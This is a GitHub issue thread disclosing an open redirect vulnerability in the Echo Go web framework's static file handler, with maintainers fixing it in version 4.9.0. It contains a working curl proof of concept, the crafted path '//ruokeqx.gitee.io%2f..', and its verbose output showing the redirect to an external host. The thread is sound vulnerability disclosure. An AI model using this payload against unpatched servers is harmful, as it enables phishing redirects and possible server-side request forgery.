New issue

Jump to bottom

vulnerability: open redirect in static handler #2259

Closed **ruokeqx** opened this issue on Sep 4 · 2 comments · Fixed by #2260

ruokeqx commented on Sep 4

Issue Description

301 redirect and may further cause ssrf

see:
go-macaron/macaron#198

also see:
diango CVE-2018-14574

```
package main

import (
        "github.com/labstack/echo/v4"
)

func main() {
        e := echo.New()
        e.Static("/", "./")
        e.Logger.Fatal(e.Start(":1323"))
}
```

```
D:\> curl -Lv http://127.0.0.1:1323//ruokeqx.gitee.io%2f..
*   Trying 127.0.0.1:1323...
* Connected to 127.0.0.1 (127.0.0.1) port 1323 (#0)
> GET //ruokeqx.gitee.io%2f.. HTTP/1.1
> Host: 127.0.0.1:1323
> User-Agent: curl/7.83.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Location: //ruokeqx.gitee.io/../
< Date: Sun, 04 Sep 2022 18:47:04 GMT
```

```
< Content-Length: 0
<
* Connection #0 to host 127.0.0.1 left intact
* Clear auth, redirects to port from 1323 to 80
* Issue another request to this URL: 'http://ruokeqx.gitee.io/'
*   Trying 212.64.63.190:80...
* Connected to ruokeqx.gitee.io (212.64.63.190) port 80 (#1)
> GET / HTTP/1.1
> Host: ruokeqx.gitee.io
> User-Agent: curl/7.83.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Date: Sun, 04 Sep 2022 18:47:03 GMT
< Content-Type: text/html
< Content-Length: 182
< Connection: keep-alive
< Server: openresty
< Location: https://ruokeqx.gitee.io/
< Expires: Mon, 05 Sep 2022 18:47:03 GMT
< Cache-Control: max-age=86400
<
* Ignoring the response-body
* Connection #1 to host ruokeqx.gitee.io left intact
* Clear auth, redirects to port from 80 to 443
* Issue another request to this URL: 'https://ruokeqx.gitee.io/'
*   Trying 212.64.63.190:443...
* Connected to ruokeqx.gitee.io (212.64.63.190) port 443 (#2)
* schannel: disabled automatic use of client certificate
* ALPN: offers http/1.1
* ALPN: server accepted http/1.1
> GET / HTTP/1.1
> Host: ruokeqx.gitee.io
> User-Agent: curl/7.83.1
> Accept: */*
>
* schannel: failed to decrypt data, need more data
* schannel: failed to decrypt data, need more data
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 04 Sep 2022 18:47:04 GMT
< Content-Type: text/html
< Content-Length: 94632
< Connection: keep-alive
< Server: openresty
< Last-Modified: Sun, 04 Sep 2022 17:49:25 GMT
< ETag: "6314e525-171a8"
< Expires: Mon, 05 Sep 2022 18:47:04 GMT
< Cache-Control: max-age=86400
< Accept-Ranges: bytes
<
<!DOCTYPE html>
...
```

ruokeqx changed the title ~~vulnerability: redirect in static handler~~ **vulnerability: open redirect in static handler** on Sep 4

aldas added a commit to aldas/echo that referenced this issue on Sep 4

`Fix labstack#2259 open redirect vulnerability in echo.StaticDirectory…` ··· `3154abd`

aldas mentioned this issue on Sep 4

Fix #2259 open redirect vulnerability in echo.StaticDirectoryHandler (used by e.Static, e.StaticFs etc) #2260

Merged

aldas closed this as completed in #2260 on Sep 4

---

aldas added a commit that referenced this issue on Sep 4

`Fix #2259 open redirect vulnerability in echo.StaticDirectoryHandler …` ··· ✕ `0ac4d74`

aldas commented on Sep 4 — Contributor

This is fixed in (just now released) version `4.9.0`

aldas commented on Sep 5 — Contributor

@ruokeqx Thank you for reporting this.

Nitjsefni7 mentioned this issue on Sep 6

Vulnerability for dd trace v1.40.1, update labstack/echo to v4.9.0 DataDog/dd-trace-go#1458

Closed

hbl-ngocnd1 pushed a commit to hbl-ngocnd1/dictionary that referenced this issue on Sep 6

`upgraded github.com/labstack/echo/v4 v4.7.2 => v4.9.0 fix labstack/ec…` ··· ✓ `a590297`

 **ehsandeep** mentioned this issue on Oct 7

Added CVE-2022-40083 projectdiscovery/nuclei-templates#5606

Merged

2 tasks

 **2dvorak** mentioned this issue 15 days ago

Upgrade labstack echo klaytn/klaytn#1688

Closed

9 tasks

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging a pull request may close this issue.

Fix #2259 open redirect vulnerability in echo.StaticDirectoryHandler (used by e.Static, e.StaticFs etc)
aldas/echo

2 participants